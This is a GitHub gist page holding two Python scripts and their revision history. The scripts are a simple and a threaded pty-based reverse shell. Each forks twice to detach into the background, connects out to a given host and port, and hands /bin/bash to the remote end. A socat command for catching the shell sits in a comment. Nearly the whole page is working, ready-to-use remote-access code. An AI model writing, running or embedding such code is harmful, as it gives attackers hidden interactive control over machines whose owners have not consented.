Skip to content

Instantly share code, notes, and snippets.

@gdamjan
Created June 30, 2012 23:04
Show Gist options
  • Select an option

  • Save gdamjan/3025923 to your computer and use it in GitHub Desktop.

Select an option

Save gdamjan/3025923 to your computer and use it in GitHub Desktop.

Revisions

  1. gdamjan revised this gist Jul 14, 2012. 1 changed file with 3 additions and 0 deletions.
    3 changes: 3 additions & 0 deletions threaded.py
    Original file line number Diff line number Diff line change
    @@ -48,3 +48,6 @@ def sock_to_pty():
    ## To test it:
    daemonize()
    server('localhost', 9999)

    # Run:
    # socat file:`tty`,raw,echo=0,escape=0x0f tcp-listen:9999
  2. gdamjan created this gist Jun 30, 2012.
    23 changes: 23 additions & 0 deletions simple.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,23 @@
    import socket, os, sys

    def daemonize():
    pid = os.fork()
    if pid > 0:
    sys.exit(0) # Exit first parent
    pid = os.fork()
    if pid > 0:
    sys.exit(0) # Exit second parent


    def server(addr, port):
    sc = socket.socket()
    sc.connect((addr, port))
    os.dup2(sc.fileno(), 0)
    os.dup2(sc.fileno(), 1)
    os.dup2(sc.fileno(), 2)
    sc.send(b'hello hackers\n')
    os.system("/bin/bash")

    ## To test it:
    daemonize()
    server('localhost', 9999)
    50 changes: 50 additions & 0 deletions threaded.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,50 @@
    import socket, os, sys
    from threading import Thread

    def daemonize():
    pid = os.fork()
    if pid > 0:
    sys.exit(0) # Exit first parent
    pid = os.fork()
    if pid > 0:
    sys.exit(0) # Exit second parent


    def server(addr, port):
    sc = socket.socket()
    sc.connect((addr, port))
    sc.send(b'hello hackers\n')
    pid, pty_fd = os.forkpty()
    if pid == 0:
    # child with pty as stdin, stdout and stderr
    os.execl("/bin/bash", "bash")
    sys.exit()

    # TODO error handling needs improvement
    def pty_to_sock():
    try:
    while True:
    buf = os.read(pty_fd, 4096)
    sc.send(buf)
    except:
    sys.exit()

    def sock_to_pty():
    try:
    while True:
    buf = sc.recv(4096)
    os.write(pty_fd, buf)
    except:
    sys.exit()

    T1 = Thread(target=pty_to_sock)
    T2 = Thread(target=sock_to_pty)
    T1.start()
    T2.start()
    T1.join()
    T2.join()


    ## To test it:
    daemonize()
    server('localhost', 9999)